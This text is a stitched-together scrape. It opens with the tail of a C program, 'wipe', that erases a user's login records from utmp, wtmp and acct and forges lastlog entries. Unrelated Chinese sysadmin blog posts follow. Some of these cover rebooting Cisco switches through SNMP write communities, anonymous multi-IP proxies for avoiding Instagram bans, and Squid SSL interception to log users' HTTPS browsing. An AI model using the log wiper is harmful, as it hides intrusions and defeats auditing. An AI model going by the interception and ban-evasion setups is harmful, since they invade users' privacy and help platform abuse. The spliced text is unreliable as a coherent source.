	int 	fd1, fd2;
	int	n;
	char	buf[BUFFSIZE];

	if ( (fd1 = open(src, O_RDONLY)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s during copy.\n", src);
		return;
	}

	if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) {
		fprintf(stderr, "ERROR: Creating %s during copy.\n", dst);
		return;
	}
	
	while ( (n = read(fd1, buf, BUFFSIZE)) > 0)
		if (write(fd2, buf, n) != n) {
			fprintf(stderr, "ERROR: Write error during copy.\n");
			return;
		}
		
	if (n < 0) {
		fprintf(stderr, "ERROR: Read error during copy.\n");
		return;
	}

	close(fd1);
	close(fd2);
}


/*
 * UTMP editing.
 */
void
wipe_utmp(char *who, char *line)
{
	int 		fd1;
	struct utmp	ut;
	
	printf("Patching %s .... ", UTMP_FILE);
	fflush(stdout);

	/*
	 * Open the utmp file.
	 */
	if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE);
		return;
	}
	
	/*
	 * Copy utmp file excluding relevent entries. 
	 */	
	while ( read(fd1, &ut, sizeof(ut)) > 0) 
		if ( !strncmp(ut.ut_name, who, strlen(who)) )
			if (!line || (line && 
			  !strncmp(ut.ut_line, line, strlen(line)))) {
				bzero((char *) &ut, sizeof(ut));
				lseek(fd1, (int) -sizeof(ut), SEEK_CUR);
				write(fd1, &ut, sizeof(ut));
			}

	close(fd1);

	printf("Done.\n");
}

/*
 * UTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_utmpx(char *who, char *line)
{
	int 		fd1;
	struct utmpx	utx;

	printf("Patching %s .... ", UTMPX_FILE);
	fflush(stdout);
		
	/*
	 * Open the utmp file and temporary file.
	 */
	if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE);
		return;
	}

	while ( (read(fd1, &utx, sizeof(utx)) ) > 0) 
		if ( !strncmp(utx.ut_name, who, strlen(who)) )
			if (!line || (line && 
			  !strncmp(utx.ut_line, line, strlen(line)))) {
				bzero((char *) &utx, sizeof(utx));
				lseek(fd1, (int) -sizeof(utx), SEEK_CUR);
				write(fd1, &utx, sizeof(utx));
			}

	close(fd1);

	printf("Done.\n");
}
#endif


/*
 * WTMP editing.
 */
void
wipe_wtmp(char *who, char *line)
{
	int		fd1;
	struct utmp	ut;

	printf("Patching %s .... ", WTMP_FILE);
	fflush(stdout);
	
        /*
	 * Open the wtmp file and temporary file.
	 */
	if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
		return;
	}

	/*
	 * Determine offset of last relevent entry.
	 */
	lseek(fd1, (long) -(sizeof(ut)), SEEK_END);
	while ( (read (fd1, &ut, sizeof(ut))) > 0) {
		if (!strncmp(ut.ut_name, who, strlen(who)))
			if (!line || (line && 
			  !strncmp(ut.ut_line, line, strlen(line)))) {
			  	bzero((char *) &ut, sizeof(ut));
				lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
			  	write(fd1, &ut, sizeof(ut));
			  	break;
			}
		lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
	}

	close(fd1);
	
	printf("Done.\n");
}


/*
 * WTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_wtmpx(char *who, char *line)
{
	int 		fd1;
	struct utmpx	utx;
	
	printf("Patching %s .... ", WTMPX_FILE);
	fflush(stdout);
	
	/*
	 * Open the utmp file and temporary file.
	 */
	if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE);
		return;
	}

	/*
	 * Determine offset of last relevent entry.
	 */
	lseek(fd1, (long) -(sizeof(utx)), SEEK_END);
	while ( (read (fd1, &utx, sizeof(utx))) > 0) {
		if (!strncmp(utx.ut_name, who, strlen(who)))
			if (!line || (line && 
			  !strncmp(utx.ut_line, line, strlen(line)))) {
			  	bzero((char *) &utx, sizeof(utx));
				lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);
			  	write(fd1, &utx, sizeof(utx));
			  	break;
			}
		lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR);
	}

	close(fd1);

	printf("Done.\n");
}
#endif


/*
 * LASTLOG editing.
 */
void
wipe_lastlog(char *who, char *line, char *timestr, char *host)
{
	int		fd1;
	struct lastlog	ll;
	struct passwd	*pwd;
	struct tm	*tm; 
	char		str[4];

	printf("Patching %s .... ", LASTLOG_FILE);
	fflush(stdout);

	tm = (struct tm *) malloc( sizeof(struct tm) );
	
        /*
	 * Open the lastlog file.
	 */
	if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE);
		return;
	}

	if ( (pwd = getpwnam(who)) == NULL) {
		fprintf(stderr, "ERROR: Can't find user in passwd.\n");
		return;
	}
	
	lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0);
	bzero((char *) &ll, sizeof(ll));

	if (line) 
		strncpy(ll.ll_line, line, strlen(line));

	if (timestr) {
		/* YYMMddhhmm */
		if (strlen(timestr) != 10) {
			fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n");
			return;
		}
		
		/*
		 * Extract Times.
		 */
		str[2] = 0;
		str[0] = timestr[0];
		str[1] = timestr[1];
		tm->tm_year = atoi(str);
		
		str[0] = timestr[2];
		str[1] = timestr[3];
		tm->tm_mon = atoi(str) - 1;
		
		str[0] = timestr[4];
		str[1] = timestr[5];
		tm->tm_mday = atoi(str);
		
		str[0] = timestr[6];
		str[1] = timestr[7];
		tm->tm_hour = atoi(str);
		
		str[0] = timestr[8];
		str[1] = timestr[9];
		tm->tm_min = atoi(str);
		tm->tm_sec = 0;
		
		ll.ll_time = mktime(tm);
	}

	if (host)
		strncpy(ll.ll_host, host, sizeof(ll.ll_host));
	

	write(fd1, (char *) &ll, sizeof(ll));

	close(fd1);

	printf("Done.\n");
}


#ifndef NO_ACCT
/*
 * ACCOUNT editing.
 */
void
wipe_acct(char *who, char *line)
{    
	int		fd1, fd2;
	struct acct	ac;
	char		ttyn[50];
	struct passwd   *pwd;
	struct stat	sbuf;
	char		*tmpf;
	
	printf("Patching %s .... ", ACCT_FILE);
	fflush(stdout);

        /*
	 * Open the acct file and temporary file.
	 */
	if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) {
		fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE);
		return;
	}

	/*
	 * Grab a unique temporary filename.
	 */
	tmpf = tmpnam((char *) NULL);

	if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) {
		fprintf(stderr, "ERROR: Opening tmp ACCT file\n");
		return;
	}

	if ( (pwd = getpwnam(who)) == NULL) {
		fprintf(stderr, "ERROR: Can't find user in passwd.\n");
		return;
	}

	/*
	 * Determine tty's device number
	 */
	strcpy(ttyn, "/dev/");
	strcat(ttyn, line);
	if (stat(ttyn, &sbuf) < 0) {
		fprintf(stderr, "ERROR: Determining tty device number.\n");
		return;
	}
	
	while ( read(fd1, &ac, sizeof(ac)) > 0 ) {
		if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) )	
			write(fd2, &ac, sizeof(ac));
	}

	close(fd1);
	close(fd2);
	
	copy_file(tmpf, ACCT_FILE);
	
	if ( unlink(tmpf) < 0 ) {
		fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n");
		return;
	}

	printf("Done.\n");
} 
#endif


void
usage()
{
	printf("USAGE: wipe [ u|w|l|a ] ...options...\n");
	printf("\n");
	printf("UTMP editing:\n");
	printf("    Erase all usernames      :   wipe u [username]\n");
	printf("    Erase one username on tty:   wipe u [username] [tty]\n");
	printf("\n");
	printf("WTMP editing:\n");
	printf("   Erase last entry for user :   wipe w [username]\n");
	printf("   Erase last entry on tty   :   wipe w [username] [tty]\n");
	printf("\n");	
	printf("LASTLOG editing:\n");
	printf("   Blank lastlog for user    :   wipe l [username]\n");
	printf("   Alter lastlog entry       :   wipe l [username] [tty] [time] [host]\n");
	printf("	Where [time] is in the format [YYMMddhhmm]\n");
	printf("\n");
#ifndef NO_ACCT
	printf("ACCT editing:\n");
	printf("   Erase acct entries on tty :   wipe a [username] [tty]\n");
#endif
	exit(1);
}


int
main(int argc, char *argv[])
{
	char	c;
	
	if (argc < 3)
		usage();

	/*
	 * First character of first argument determines which file to edit.
	 */
	c = toupper(argv[1][0]);
	
	/*
	 * UTMP editing.
	 */
	switch (c) {
		/* UTMP */
		case 'U' :
			if (argc == 3)
				wipe_utmp(argv[2], (char *) NULL);
			if (argc ==4)
				wipe_utmp(argv[2], argv[3]);
			
#ifdef HAVE_UTMPX
			if (argc == 3)
				wipe_utmpx(argv[2], (char *) NULL);
			if (argc == 4)
				wipe_utmpx(argv[2], argv[3]);
#endif
			
			break;
		/* WTMP */
		case 'W' :
			if (argc == 3)
				wipe_wtmp(argv[2], (char *) NULL);
			if (argc == 4)
				wipe_wtmp(argv[2], argv[3]);
			
#ifdef HAVE_UTMPX
			if (argc == 3)
				wipe_wtmpx(argv[2], (char *) NULL);
			if (argc == 4)
				wipe_wtmpx(argv[2], argv[3]);
#endif
			
			break;
		/* LASTLOG */
		case 'L' :
			if (argc == 3)
				wipe_lastlog(argv[2], (char *) NULL, 
					(char *) NULL, (char *) NULL);
			if (argc == 4)
				wipe_lastlog(argv[2], argv[3], (char *) NULL,
						(char *) NULL);
			if (argc == 5)
				wipe_lastlog(argv[2], argv[3], argv[4], 
						(char *) NULL);
			if (argc == 6)
				wipe_lastlog(argv[2], argv[3], argv[4], 
						argv[5]);
			break;
#ifndef NO_ACCT
		/* ACCT */
		case 'A' :
			if (argc != 4)
				usage();
			wipe_acct(argv[2], argv[3]);
			break;
#endif
	}

	return(0);
}

Aria2下载网剧并极速上传到百度网盘

Wed, 24 Jan 2024 16:10:11 +0800

南瓜视频最近被整改，一时陷入片荒。

家里的电视机好不容易禁止升级，能用ES浏览器，挂上百度网盘，看存在里面的电影。

但是，百度网盘现在基本是磁力和BT都失效了，没办法，只能想个办法看怎么下载并上传到百度网盘了。

一、Aria2，用来下载BT和磁力文件。

安装Aria2，这个非常简单，就一个执行文件和一堆配置文件就行了。

wget https://github.com/P3TERX/Aria2-Pro-Core/releases/download/1.35.0_2021.02.19/aria2-1.35.0-static-linux-amd64.tar.gz
tar zxvf aria2-1.35.0-static-linux-amd64.tar.gz

mkdir /root/.aria2
cd /root/.aria2
wget https://p3terx.github.io/aria2.conf/aria2.conf
wget https://p3terx.github.io/aria2.conf/clean.sh
wget https://p3terx.github.io/aria2.conf/core
wget https://p3terx.github.io/aria2.conf/script.conf
wget https://p3terx.github.io/aria2.conf/rclone.env
wget https://p3terx.github.io/aria2.conf/upload.sh
wget https://p3terx.github.io/aria2.conf/delete.sh
wget https://p3terx.github.io/aria2.conf/dht.dat
wget https://p3terx.github.io/aria2.conf/dht6.dat
wget https://p3terx.github.io/aria2.conf/move.sh
wget https://p3terx.github.io/aria2.conf/LICENSE
touch aria2.session

注意这里是root用户运行，如果要用其他用户，修改/root/.aria2/aria2.conf里面的/root就行。

然后再造个systemctl的启动控制文件：

cat <<EOF>>/etc/systemd/system/aria2.service 
[Unit]
Description=aria2 Service
After=network.target
Wants=network.target

[Service]
Type=simple
ExecStart=/root/aria2c --conf-path=/root/.aria2/aria2.conf
Restart=on-failure
# Don't restart in the case of configuration error
RestartPreventExitStatus=23

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-reload
systemctl start aria2

注意，如果有防火墙，注意打开以下三个端口。

用lego来代替acme申请免费ssl证书

Wed, 24 Jan 2024 16:09:11 +0800

amce申请证书实在是太烦了，对于一台只有1cpu 512m的vps来说，装这个东西简直就是费时费劲。

好在有人干脆开发了一个go语言的工具lego，这东西完全能够替代掉ACME

https://github.com/go-acme/lego/

只有一个执行文件，极简主义：

申请证书一句话：

 lego --email="foo@bar.com" --domains="example.com" --http run

回答一下Yes

然后生成的证书都放在.lego/certificates/目录下

续费也是一句话

 lego --email="foo@bar.com" --domains="example.com" --http renew

及其简单，也方便搬迁。生成的证书crt是带证书链条的

申请好就可以装trojan了。实在是方便

如果DNS是托管在阿里云上，可以开一个阿里ram账号，然后用dns的api验证

ALICLOUD_ACCESS_KEY=aaaaaaaa  ALICLOUD_SECRET_KEY=bbbbbbbb \
./lego --email admin@ddky.com --dns alidns --domains *.ddky.com run

如果DNS是托管在namesilo上，同样可以开一个api的key，时间一定要放长，否则不生效！

NAMESILO_API_KEY=ccccc NAMESILO_PROPAGATION_TIMEOUT=3600 NAMESILO_POLLING_INTERVAL=120 NAMESILO_TTL=3600 \
./lego --email zhangranrui@gmail.com --dns namesilo --domains *.rendoumi.com run

Cisco snmpv3的设置

Wed, 24 Jan 2024 16:08:11 +0800

https://www.cisco.com/c/en/us/support/docs/smb/routers/cisco-rv-series-small-business-routers/smb4127-configure-simple-network-management-protocol-snmp-on-rv320-a.html

这篇说的很详细了

按图索骥即可

snmpwalk v3参数解释：

-v 1|2c|3             specifies SNMP version to use
-u USER-NAME          set security name (e.g. bert)
-l LEVEL              set security level (noAuthNoPriv|authNoPriv|authPriv)
-a PROTOCOL           set authentication protocol (MD5|SHA)
-A PASSPHRASE         set authentication protocol pass phrase
-x PROTOCOL           set privacy protocol (DES|AES)
-X PASSPHRASE         set privacy protocol pass phrase

简单说，v3支持两重加密，要输入两个密码

snmpset -v3 -u Cisco -l authPriv -a MD5 -A FuckCisco -x DES -X zhenbushidongxi 192.168.1.1 .1.3.6.1.4.1.9.2.9.9.0 i 2

Cisco交换机通过snmp来重启

Wed, 24 Jan 2024 16:07:11 +0800

这是个什么命题？！没办法，有时候需要用到这种方式

首先去cisco交换机配置：

snmp-server community private RW  
snmp-server system-shutdown

然后在linux机器上执行：

# snmpset -v 2c -c private 192.168.1.1 .1.3.6.1.4.1.9.2.9.9.0 i 2

!--- This is an explanation of the variables that this command uses.

          10.16.99.55 = ip address of your router
               private = R/W SNMP Community string of your router
.1.3.6.1.4.1.9.2.9.9.0 = tsMsgSend SNMP MIB OID
                     i = Integer as defined SYNTAX in the MIB
                     2 = reload command as defined in the MIB

最后，Fuck Cisco!!!

Cisco 路由器的操作审计

Wed, 24 Jan 2024 16:06:11 +0800

我们用的是Cisco ASR 1001-X这个路由器来做BGP的。

前两天做多线BGP的时候，也不知道是遇到Bug了，还是操作顺序有问题，大断网，然后重启路由器。

事后想回顾的时候也是各自有各自的记录，细节语焉不详……

干脆搭建一个日志服务器来记录下来所有的操作，便于事后复盘

首先在CentOS 7 的系统上安装TACACS+软件，居然在7上用的是6的软件，这点也很怪异

cat << EOF >/etc/yum.repos.d/tacacs-plus.repo  
[tacacs-plus]
name=Tacacs Plus  
baseurl=http://li.nux.ro/download/nux/misc/el6/x86_64/  
enabled=0  
gpgcheck=1  
gpgkey=http://li.nux.ro/download/nux/RPM-GPG-KEY-nux.ro  
EOF

安装tacacs_plus

 yum –enablerepo=tacacs-plus install tac_plus

注意，我们只是用tacacs_plus来记录操作日志，不是用来限制用户登录和权限的，所以只需要关注两行：

vi /etc/tac_plus.conf  
key = "FuckFuckFuck"  
accounting file = /var/log/tac_acct.log  
......

启动，centos 6 没有systemctl，只有service

service tac_plus start

ok, tacacs+配置好了，继续，去Cisco路由器上配

Router1#configure terminal  
Enter configuration commands, one per line.  End with CNTL/Z.  
Router1(config)#tacacs-server host 192.168.171.13  
Router1(config)#tacacs-server timeout 10  
Router1(config)#tacacs-server key FuckFuckFuck  
Router1(config)#aaa new-model  
Router1(config)#aaa accounting commands 0 default stop-only group tacacs+  
Router1(config)#aaa accounting commands 1 default stop-only group tacacs+  
Router1(config)#aaa accounting commands 15 default stop-only group tacacs+  
Router1(config)#end  
Router1#

“0” 用来审计exit和end命令，这样可以明确知道用户的登录。

KVM的虚机如何限速

Wed, 24 Jan 2024 16:05:11 +0800

需要开一台kvm的测试机，但是需要限制速度，10M

我们的物理机使用了bridge，以及vlan tag，所以虚机的网卡是br0.141

查了一圈文档

    <interface type='bridge'>
      <mac address='52:54:00:db:4c:5f'/>
      <source bridge='br0.141'/>
      <bandwidth>
        <inbound average='1250' peak='1250' burst='1250'/>
        <outbound average='1250' peak='1250' burst='1250'/>
      </bandwidth>
      <model type='virtio'/>

注意限速的单位：是kilobyte per second

那么：

1250 kilobyte per second, KB/s = 10 Mbps = 1.25 MB/s

10 Mbps就是通常意义上的网速，/8=1.25 MB/s，就是机器上用下载软件比如迅雷下载，看到的速度（1.25 MB/s）。

Cisco路由器上qos的设置

Wed, 24 Jan 2024 16:04:11 +0800

诉求很简单，对客户限速，那么麻烦就很多，怎么限？

先普及一下Cisco的qos知识

单速单桶：

单速单桶模式不允许流量突发，当用户的流量速率小于配置的CIR时，报文被认为是conform；当用户的流量大于CIR时直接被认为是exceed(思科exceed华为violate)。

(图中Tc代表桶里令牌的数量，CBS代表令牌桶的容量即Bc)

如果只配置CIR，不指定Bc，那么默认Bc等于1500bytes或者 CIR数值 / 32
 class 100
  police 8000 conform-action transmit  exceed-action drop 
 class 200
  police cir 8000 conform-action transmit  exceed-action drop 
 class 300
  police 8000 1500 conform-action transmit  exceed-action drop 
 class 400
  police cir 8000 bc 1500 conform-action transmit  exceed-action drop

单速双桶：

支持突发流量，用户的流量会出现三种结果：

(图中Tc、Te代表桶里令牌的数量，CBS，EBS代表令牌桶的容量即Bc、Be)

小于或等于CIR（也就是符合CIR）（conform）大于CIR并小于或等于CIR与Be之和（也就是符合两个桶令牌之和）（exceed）超过CIR与Be之和（也就是超过两个桶令牌之和）（violate）

如果只配置CIR、Bc，不指定Be，那么默认Be等于1500bytes或者CIR数值 / 32。
 class 500
  police 8000 1000 conform-action transmit  exceed-action set-prec-transmit 1 violate-action drop 
 class 600
  police 8000 1000 1300 conform-action transmit  exceed-action set-prec-transmit 1 violate-action drop 
 class 700
  police cir 8000 bc 1000 be 1300 conform-action transmit  exceed-action set-prec-transmit 1 violate-action drop

双速双桶：

Cisco vrf错误之the feature does not supported

Wed, 24 Jan 2024 16:03:11 +0800

作为一个运维，现在搞起了Ciso的BGP生意

在Cisco3650上定义VRF，结果报错，一头雾水啊，而且对Cisco也不熟悉啊。

#vrf definition mgmt
% Feature is not supported

没办法搜Google啊，解决方法如下：

sh license right-to-use  
license right-to-use activate ipservices all  
reload  
license right-to-use activate ipservices all acceptEULA  
reload

最后显示ipservices和lanbase都有就行了

#sh license right-to-use
 Slot#  License name   Type     Count   Period left 
----------------------------------------------------------
 1      ipservices   permanent     N/A   Lifetime
 1      lanbase      permanent     N/A   Lifetime

Mirror 口直通到Kvm中去遇到的几个问题

Wed, 24 Jan 2024 16:02:11 +0800

由于大搞BGP线路，所以在Cisco路由器上Mirror了入口的流量到另外一个端口，供suricata分析用。

在Mirror直通kvm虚机过程中遇到以下问题：

Mirror的口是Te口，10G的流量，在宿主机上tcpdump可以看到所有流量，但是在kvm上则断断续续，流量丢失一部分，原因很简单：

流量的聚合和转发未配置好，两条命令解决

brctl setageing br2 0  
brctl setfd br2 0

但是，如何在宿主机启动的时候自动执行这两句呢？简单，如果系统是CentOS

cat <<EOF>>/sbin/ifup-local  
#!/bin/bash
brctl setageing br2 0  
brctl setfd br2 0  
EOF  
chmod 755 /sbin/ifup-local

如果系统是Ubuntu

cd /etc/network/if-up.d  
cat <<EOF>>br3-mirror  
#!/bin/bash
if [ "$IFACE" = br2 ]; then  
brctl setageing br2 0  
brctl setfd br2 0  
fi  
EOF  
chmod +x br2-mirror

在宿主机上问题解决了，在kvm虚机上又遇到问题，Ubuntu，如果让一个网口启动但没有地址呢？

vi /etc/network/interfaces  
auto ens7  
iface ens7 inet manual  
    mtu 1464
up ifconfig ens7 up

注意上面的，ens7就是mirror过来的网口，mtu是因为在cisco做mirror的时候指定了固定的mtu 1464.

brctl命令的用法可以参见以下链接：

https://www.thegeekstuff.com/2017/06/brctl-bridge/

over.

Fail2ban怎么解放并放入白名单

Wed, 24 Jan 2024 16:00:11 +0800

mouse 的服务器连接到了各个网络核心设备，所以采用了很严格的ip限制，port限制，以及fail2ban来阻止非法访问，但是不巧，把自己也给搞到 jail 里去了。

那么怎么解呢？

首先查看封锁情况：

fail2ban-client status

Status  
|- Number of jail:    2
`- Jail list:    sshd, sshd-ddos

有两个jail，sshd和sshd-ddos

进一步查看：

fail2ban-client status sshd

发现自己被屏蔽了。

解封的方法：

fail2ban-client set sshd unbanip 103.108.236.5

解封只是临时的，永久放入白名单最靠谱：

vi /etc/fail2ban/jail.conf  
ignoreip = 103.108.236.5/32

重启fail2ban

systemctl restart fail2ban

这样就ok了。

配置一个提供IPv6 tunnel over IPv4的OpenVPN服务器

Wed, 24 Jan 2024 14:10:11 +0800

先普及一下IPv6 地址。

IPv6 地址大小为 128 位。

首选 IPv6 地址表示法为8组数字用冒号分隔，其中每组是 8 个 16 位部分的十六进制值。IPv6 地址范围从 0000:0000:0000:0000:0000:0000:0000:0000 至 ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff。

除此首选格式之外，IPv6 地址还可以用其他两种短格式指定：

省略前导零通过省略前导零指定 IPv6 地址。例如，IPv6 地址 1050:0000:0000:0000:0005:0600:300c:326b 可写作 1050:0:0:0:5:600:300c:326b。
双冒号通过使用双冒号（::）替换一系列零来指定 IPv6 地址。例如，IPv6 地址 ff06:0:0:0:0:0:0:c3 可写作 ff06::c3。一个 IP 地址中只可使用一次双冒号。

在一般IPv6网络环境下，一个局域网的子网大小为/64，接口通过NDP协议获得自己的唯一IPv6地址（前64位为子网前缀，后64位一般由接口本身的MAC地址产生）

我们的场景：

服务器的IPV4地址是 1.2.3.4
服务器的IPV6地址是 aaaa:bbbb:cccc:dddd::/64
IPV4和IPV6的地址都在eth0上
VPN分配给客户端的IPV6地址是aaaa:bbbb:cccc:dddd:80::/112，使用的接口是tun0

配置过程如下：首先修改/etc/sysctl.conf文件

net.ipv4.ip_forward=1  
    ...
net.ipv6.conf.all.forwarding=1  
net.ipv6.conf.all.proxy_ndp = 1  
    ...
net.ipv4.conf.all.accept_redirects = 0  
net.ipv6.conf.all.accept_redirects = 0  
    ...
net.ipv4.conf.all.send_redirects = 0

接下来，可以先做iptable，使得openvpn server对包进行SNAT

iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE  
或者
iptables -t nat -A POSTROUTING -s 10.11.0.0/16 -j SNAT --to 172.16.8.1

编辑/etc/openvpn/variables变量

Tomcat推荐的日志记录格式

Wed, 24 Jan 2024 14:00:11 +0800

我们tomcat的日志记录格式为：

pattern="%a|%A|%T|%{X-Forwarded-For}i|%l|%u|%t|%r|%s|%b|%{Referer}i|%{User-Agent}i " resolveHosts="false"/>

都是什么意思呢？

%a - Remote IP address
%A - Local IP address
%b - Bytes sent, excluding HTTP headers, or ‘-’ if zero
%B - Bytes sent, excluding HTTP headers
%h - Remote host name (or IP address if resolveHosts is false)
%H - Request protocol
%l - Remote logical username from identd (always returns ‘-’)
%m - Request method (GET, POST, etc.)
%p - Local port on which this request was received
%q - Query string (prepended with a ‘?’ if it exists)
%r - First line of the request (method and request URI)
%s - HTTP status code of the response
%S - User session ID
%t - Date and time, in Common Log Format
%u - Remote user that was authenticated (if any), else ‘-’
%U - Requested URL path
%v - Local server name
%D - Time taken to process the request, in millis
%T - Time taken to process the request, in seconds
%I - Current request thread name (can compare later with stacktraces)

另外，还可以将request请求的查询参数、session会话变量值、cookie值或HTTP请求/响应头内容的变量值等内容写入到日志文件。

Freelancer的任务之一：多IP多重匿名代理加认证

Wed, 24 Jan 2024 10:07:11 +0800

Freelancer上有个proxy setup的任务：

Project Description  
Hi, I would like to create a new VPS proxy server with multiple IPs on the same VPS.  
Are you able to that?  
What OS do you prefer?  
- I have 10 ips.
- I want them to be as much anonymous as you can.
- I would have an Username and Password as auth, but if needed the possibility to have an IP authentication too.
My budget is: ~20$  
Thank you in advance.

说老实话，10个IP没必要，一个IP足够了，用Tor+polipo即可。

Freelancer任务之二：建一个scramble obfuscated opevpn

Wed, 24 Jan 2024 10:06:11 +0800

这个很奇怪撒，仔细查了下，原作者是这么说的：

I have created a patch which introduces some forms of scrambling to the packet payload of any OpenVPN connection.  
I have been successfully using the patch with Iranian and Chinese users for some time now.

看来伊朗也比较糟糕啊。

无语，鉴于在森华易腾无法建openvpn，不知道是直接封了1194的udp端口，还是从协议上封掉了openvpn，总之，都很shit。

简单说就是对openvpn协议进行了混淆，多了一个配置项：

scramble 参数  
scramble reverse #对传输的数据进行反转，通常这一句就已经可以绕过China和Iran的检测机制了  
scramble xorptrpos #对传输的package中的有效数据进行xor运算  
scramble obfuscate password #更强烈的加密。反转+xor+密码三种方式全用上. "password" 是你设定的密码

用上这个配置项后，建议设置cipher none, 因为如此这般以后，没有必要再制定cipher方式了。另外，用cipher会消耗cpu，而采用scramble消耗cpu的程度比cipher低。

搭一个试试看这里采用的是openvpn 2.4.4版本和相应的patch

下载：

#centos 
yum -y install unzip  
yum -y groupinstall "development tools"  

#ubuntu
apt update
apt install build-essential

unzip -x 2.4.4.zip  
unzip -x master.zip

应用补丁：

Freelancer任务之三：Setup Proxy on VPS for Instagram

Wed, 24 Jan 2024 10:05:11 +0800

任务的要求是：

• Multiple subnets to avoid bans •I need the proxies to have the ability of User:Pass •Proxy needs to be Residential IPv6

还给出了一个参考： https://www.blackhatworld.com/seo/never-buy-proxies-again-setup-your-own-proxy-server.872539/

恩，比较有意思。按照他给的连接：

第一步去 LowEndBox.com 或者 Webhostingtalk.com 去找一家口碑比较好，而且能提供附加ip的VPS供应商，通常附加一个IP是1$一个月。

第二步买个VPS，配置是1G内存，1个内核，100M带宽，并且附加10个IP。

这样的VPS一般是5$一个月，10$10个ip一个月，合计15$一个月，100元人民币，这样你就有11个IP可用了。

按这个任务的要求，需要Multiple subnet，你就从这家供应商的不同地点多买几台，比如洛杉矶1台，德州1台，纽约1台，然后每台附加10个IP

第三步就是安装Proxy软件了：

下载3Proxy

wget http://img.rendoumi.com/soft/3proxy/0.8.11.tar.gz  
tar zxvf 0.8.11.tar.gz

编译安装：

cd 3proxy-0.8.11  
sed -i 's/^prefix.*/prefix=\/usr\/local\/3proxy/' Makefile.Linux  
sed -i '/DENY.*/a #define ANONYMOUS 1' src/proxy.h  
make -f Makefile.Linux  
make -f Makefile.Linux install

注意上面我是安装到了/usr/local/3proxy，大家可以根据需求修改。

看看配置都是什么

cat cfg/3proxy.cfg.sample |grep -v ^# | grep -v ^$  
nserver 10.1.2.1  
nserver 10.2.2.2  
nscache 65536  
timeouts 1 5 30 60 180 1800 15 60  
users 3APA3A:CL:3apa3a "test:CR:$1$qwer$CHFTUFGqkjue9HyhcMHEe1"  
service  
log c:\3proxy\logs\3proxy.log D  
logformat "- +_L%t.%.  %N.%p %E %U %C:%c %R:%r %O %I %h %T"  
archiver rar rar a -df -inul %A %F  
rotate 30  
auth iponly  
external 10.1.1.1  
internal 192.168.1.1  
auth none  
dnspr  
auth strong  
deny * * 127.0.0.1,192.168.1.1  
allow * * * 80-88,8080-8088 HTTP  
allow * * * 443,8443 HTTPS  
proxy -n  
auth none  
pop3p  
tcppm 25 mail.my.provider 25  
auth strong  
flush  
allow 3APA3A,test  
maxconn 20  
socks  
auth strong  
flush  
internal 127.0.0.1  
allow 3APA3A 127.0.0.1  
maxconn 3  
admin

一堆的废物配置啊，统统去掉

Freelancer任务之四squid查询用户浏览记录

Wed, 24 Jan 2024 10:04:11 +0800

这个需求也比较简单：

User Browsing Log for Open VPN server

简单说就是用户连到他的openvpn服务器，通过上面的squid代理来浏览其他网站，比较特别的是需要查看用户http和https的浏览记录。

squid做透明代理，这样就可以截取浏览记录并且提供加速了

服务器是Ubuntu，缺省安装的的squid是不支持SSL的，所以需要重新编译一个

安装依赖包：

sudo apt-get install build-essential fakeroot devscripts gawk gcc-multilib dpatch  
sudo apt-get build-dep squid3  
sudo apt-get build-dep openssl  
sudo apt-get install libssl-dev  
sudo apt-get source squid3

下载到squid的源代码，以及ubuntu的修改包，解压并释放：

tar zxvf squid3_3.5.12.orig.tar.gz  
cd squid3-3.5.12  
tar xf ../squid3_3.5.12-1ubuntu7.5.debian.tar.xz

修改参数增加对ssl的支持：

vi debian/rules  
Add --with-openssl --enable-ssl --enable-ssl-crtd under the DEB_CONFIGURE_EXTRA_FLAGS section.

DEB_CONFIGURE_EXTRA_FLAGS := BUILDCXXFLAGS="$(CXXFLAGS) $(LDFLAGS)" \  
...
                --with-default-user=proxy \
                --with-openssl \
                --enable-ssl \
                --enable-ssl-crtd
...

编译，会生成7个deb包

Freelancer任务之五多线路聚合vpn

Wed, 24 Jan 2024 10:03:11 +0800

这个任务很有意思

任务描述：

we need a set of vpn server / client programmed for embedded linux (or windows)  
to bond multiple 4g lte modems or wifi connectios and stitch them back together  
on server side to stream video feeds. the connection must be stable and have  
the maximum available bandwidth with no drop in some connection drops.  
simillar to service called SPEEDIFY (but it doesn't work well)

this can be also achieved by splitting video packets and send them through  
 different links and stitch the video packets back on the server side.

简单说，很可能它这边是个嵌入式系统，树莓派、nanopi之流的，接了4G的无线上网卡，想去聚合链路上传流媒体。

Freelancer任务之六Compile an ipk file on Lede (OpenWRT)

Wed, 24 Jan 2024 10:02:11 +0800

这是一次失败的任务，即使再来一次，依然会失败，因为无法验证，真够shit的，扣了我10$的手续费。

记录一下，以儆效尤。

任务如下：

Job would be to compile an ipk file of SHC that would work with LEDE OS (openwrt) and the processor used in our system - will provide details

SHC can be downloaded here: http://www.datsi.fi.upm.es/~frosal/

